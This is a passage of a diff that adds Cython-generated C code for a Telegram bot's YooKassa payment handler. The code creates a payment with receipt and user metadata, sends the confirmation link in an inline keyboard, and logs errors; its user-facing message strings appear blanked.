"79000000000", + * }, + * "items": [ # <<<<<<<<<<<<<< + * { + * "description": " ", + */ + __pyx_t_11 = PyList_New(1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 264, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_10); + if (__Pyx_PyList_SET_ITEM(__pyx_t_11, 0, __pyx_t_10)) __PYX_ERR(0, 264, __pyx_L9_error); + __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_items, __pyx_t_11) < 0) __PYX_ERR(0, 259, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_receipt, __pyx_t_3) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":276 + * ], + * }, + * "metadata": {"user_id": message.chat.id}, # <<<<<<<<<<<<<< + * }, + * uuid.uuid4(), + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 276, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 276, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_id); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 276, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_user_id, __pyx_t_10) < 0) __PYX_ERR(0, 276, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_u_metadata, __pyx_t_3) < 0) __PYX_ERR(0, 251, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":278 + * "metadata": {"user_id": message.chat.id}, + * }, + * uuid.uuid4(), # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_uuid); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 278, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_uuid4); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 278, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_10)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_10); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_11, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_10, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 278, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_6))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_6); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_6, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_11, __pyx_t_1, __pyx_t_3}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 249, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_payment = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/yookassa_pay.py":281 + * ) + * + * if payment["status"] == "pending": # <<<<<<<<<<<<<< + * payment_url = payment["confirmation"]["confirmation_url"] + * + */ + __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_status); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 281, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = (__Pyx_PyUnicode_Equals(__pyx_t_2, __pyx_n_u_pending, Py_EQ)); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 281, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/yookassa_pay.py":282 + * + * if payment["status"] == "pending": + * payment_url = payment["confirmation"]["confirmation_url"] # <<<<<<<<<<<<<< + * + * confirm_keyboard = InlineKeyboardMarkup( + */ + __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_confirmation); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 282, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = __Pyx_PyObject_Dict_GetItem(__pyx_t_2, __pyx_n_u_confirmation_url); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 282, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_v_payment_url = __pyx_t_6; + __pyx_t_6 = 0; + + /* "handlers/payments/yookassa_pay.py":284 + * payment_url = payment["confirmation"]["confirmation_url"] + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 284, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_6); + + /* "handlers/payments/yookassa_pay.py":285 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 285, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/yookassa_pay.py":286 + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text=" ", callback_data="pay")], + * ] + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 286, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 286, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_n_u__9) < 0) __PYX_ERR(0, 286, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 286, __pyx_L9_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 286, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 286, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_11); + if (__Pyx_PyList_SET_ITEM(__pyx_t_1, 0, __pyx_t_11)) __PYX_ERR(0, 286, __pyx_L9_error); + __pyx_t_11 = 0; + + /* "handlers/payments/yookassa_pay.py":287 + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], # <<<<<<<<<<<<<< + * ] + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 287, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 287, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 287, __pyx_L9_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 287, __pyx_L9_error) + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 287, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyList_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 287, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_10); + if (__Pyx_PyList_SET_ITEM(__pyx_t_3, 0, __pyx_t_10)) __PYX_ERR(0, 287, __pyx_L9_error); + __pyx_t_10 = 0; + + /* "handlers/payments/yookassa_pay.py":285 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_10 = PyList_New(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 285, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GIVEREF(__pyx_t_1); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_1)) __PYX_ERR(0, 285, __pyx_L9_error); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 1, __pyx_t_3)) __PYX_ERR(0, 285, __pyx_L9_error); + __pyx_t_1 = 0; + __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_inline_keyboard, __pyx_t_10) < 0) __PYX_ERR(0, 285, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/yookassa_pay.py":284 + * payment_url = payment["confirmation"]["confirmation_url"] + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 284, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_10; + __pyx_t_10 = 0; + + /* "handlers/payments/yookassa_pay.py":291 + * ) + * + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 291, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_10); + + /* "handlers/payments/yookassa_pay.py":292 + * + * await message.answer( + * text=f" {amount} .", # <<<<<<<<<<<<<< + * reply_markup=confirm_keyboard, + * ) + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 292, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = PyTuple_New(3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 292, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_13 = 0; + __pyx_t_14 = 127; + __Pyx_INCREF(__pyx_kp_u__10); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_13 += 25; + __Pyx_GIVEREF(__pyx_kp_u__10); + PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_kp_u__10); + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 292, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_14; + __pyx_t_13 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_6, 1, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u__11); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_13 += 8; + __Pyx_GIVEREF(__pyx_kp_u__11); + PyTuple_SET_ITEM(__pyx_t_6, 2, __pyx_kp_u__11); + __pyx_t_3 = __Pyx_PyUnicode_Join(__pyx_t_6, 3, __pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 292, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 292, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":293 + * await message.answer( + * text=f" {amount} .", + * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< + * ) + * else: + */ + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 292, __pyx_L9_error) + + /* "handlers/payments/yookassa_pay.py":291 + * ) + * + * await message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=confirm_keyboard, + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 291, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L16_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 291, __pyx_L9_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 291, __pyx_L9_error) + } + } + + /* "handlers/payments/yookassa_pay.py":281 + * ) + * + * if payment["status"] == "pending": # <<<<<<<<<<<<<< + * payment_url = payment["confirmation"]["confirmation_url"] + * + */ + goto __pyx_L15; + } + + /* "handlers/payments/yookassa_pay.py":296 + * ) + * else: + * await message.answer(" .") # <<<<<<<<<<<<<< + * + * except Exception as e: + */ + /*else*/ { + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 296, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_10 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_10)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_10); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_10, __pyx_kp_u__12}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 296, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L17_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 296, __pyx_L9_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 296, __pyx_L9_error) + } + } + } + __pyx_L15:; + + /* "handlers/payments/yookassa_pay.py":248 + * ) + * + * try: # <<<<<<<<<<<<<< + * payment = Payment.create( + * { + */ + } + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + goto __pyx_L14_try_end; + __pyx_L9_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yookassa_pay.py":298 + * await message.answer(" .") + * + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * await message.answer(" .") + */ + __pyx_t_15 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_15) { + __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_3, &__pyx_t_2, &__pyx_t_10) < 0) __PYX_ERR(0, 298, __pyx_L11_except_error) + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_10); + __Pyx_INCREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_e = __pyx_t_2; + /*try:*/ { + + /* "handlers/payments/yookassa_pay.py":299 + * + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * await message.answer(" .") + * else: + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logger); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 299, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_error); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 299, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 299, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_12 = __Pyx_PyUnicode_Concat(__pyx_kp_u__22, __pyx_t_1); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 299, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_11, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_12}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 299, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/yookassa_pay.py":300 + * except Exception as e: + * logger.error(f" : {e}") + * await message.answer(" .") # <<<<<<<<<<<<<< + * else: + * await message.answer(" . , :") + */ + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 300, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_11, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_12, __pyx_kp_u__23}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 300, __pyx_L23_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L25_resume_from_await:; + __pyx_t_2 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_10); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 300, __pyx_L23_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 300, __pyx_L23_error) + } + } + } + + /* "handlers/payments/yookassa_pay.py":298 + * await message.answer(" .") + * + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * await message.answer(" .") + */ + /*finally:*/ { + /*normal exit:*/{ + 